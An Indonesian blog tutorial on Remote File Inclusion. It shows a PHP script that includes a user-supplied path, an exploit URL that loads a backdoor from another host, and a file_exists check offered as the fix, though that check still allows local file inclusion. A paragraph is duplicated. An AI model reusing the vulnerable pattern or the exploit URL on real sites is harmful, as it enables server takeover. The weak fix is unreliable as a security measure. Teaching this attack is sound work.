Pengertian Remote File Inclusion
Remote File Incusion (RFI) adalah serangan yang ditujukan kepada website yang memiliki celah keamanan yang biasanya menggunakan fungsi memanggil file melalui suatu inputan dinamis, dalam hal ini berarti seseorang dapat mengganti alamat file yang akan dipanggil dan kemudian diproses. Tujuan hacker melakukan serangan ini adalah menyisipkan script berbahaya dari domain luar biasanya berupa backdoor/shell ke dalam server target.
Akibat dari serangan ini adalah hacker dapat mengambil alih server, pencurian data/informasi, merubah tampilan(deface).
Ini adalah contoh program yang menyebabkan RFI dapat dieksploitasi
oleh hacker. Misal programmer membuat fungsi include file yang tujuannya
untuk memanggil file untuk di-include kan secara dinamis.
<?php
if(isset($_GET['q'])){
$q = $_GET['q'];
if(!empty($q)){
include $q;
}else{
include 'home.php';
}
}else{
include 'home.php';
}
?>
Misal penggunaan kode tersebut untuk memanggil halaman kontak melalui URL :http://127.19.28.22:8000/blog/RFI/?q=tentang.php
Maka hacker akan melakukan expoitasi RFI dengan memanggil backdoor
yang telah ditanam sebelumnya di suatu host.
Sehingga URL dimanipulasi
seperti berikut :
http://127.19.28.22:8000/blog/RFI/?q=http://localhost:8080/mini_uploader.php
Dan dapat dilihat sekarang hacker dapat menguasai server.
Cara mencegah/menutup celah keamanan(Bug RFI)
Cara untuk mencegah serangan RFI adalah dengan cara
melakukan sanitasi inputan dari user, inputan dapat melalui banyak celah
diantaranya :
whitelist yaitu mendaftarkan karakter apa saja yang diperbolehkan. Disini saya melakukan filter/sanitasi menggunakan cara saya sendiri, yaitu dengan mengecek apakah di dalam suatu server(Dir) tersebut terdapat sebuah file yang dipanggil oleh user, berikut contohnya
melakukan sanitasi inputan dari user, inputan dapat melalui banyak celah
diantaranya :
- Parameter Request (POST/GET)
- HTTP Header
- Cookie
whitelist yaitu mendaftarkan karakter apa saja yang diperbolehkan. Disini saya melakukan filter/sanitasi menggunakan cara saya sendiri, yaitu dengan mengecek apakah di dalam suatu server(Dir) tersebut terdapat sebuah file yang dipanggil oleh user, berikut contohnya
<?php
if(isset($_GET['q'])){
$q = $_GET['q'];
if(!empty($q)){
if(file_exists($q)){
include $q;
}else{
include 'home.php';
}
}else{
include 'home.php';
}
}else{
include 'home.php';
}
?>
Cara diatas mungkin tidak dapat menutup kemanan sepenuhnya, tapi setidaknya saya pernah mencobanya. Wokehh thx dah berkunjung. Ingin mendownload source code web security diatas? klik Disini
Posting Komentar